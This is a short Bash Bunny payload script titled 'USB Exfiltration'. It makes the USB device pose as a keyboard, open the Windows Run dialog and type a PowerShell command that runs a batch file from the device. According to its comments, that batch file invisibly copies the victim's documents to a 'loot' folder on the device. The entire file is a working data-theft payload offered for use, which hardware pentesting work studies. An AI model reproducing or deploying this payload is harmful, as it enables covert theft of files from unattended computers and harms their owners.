#!/bin/bash
#
# Title:         USB Exfiltration
# Author:        Hak5Darren
# Version:       1.0
# Target:        Windows XP SP3+
# Props:         Diggster
# 
# Executes d.cmd from the root of the Bash Bunny USB Disk partition,
# which in turn executes e.cmd invisibly using i.vbs
# which in turn copies documents to the loot folder on the Bash Bunny.
#
LED R
ATTACKMODE HID STORAGE
QUACK GUI r
QUACK DELAY 100
QUACK STRING powershell ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'d.cmd')"
QUACK ENTER
LED G
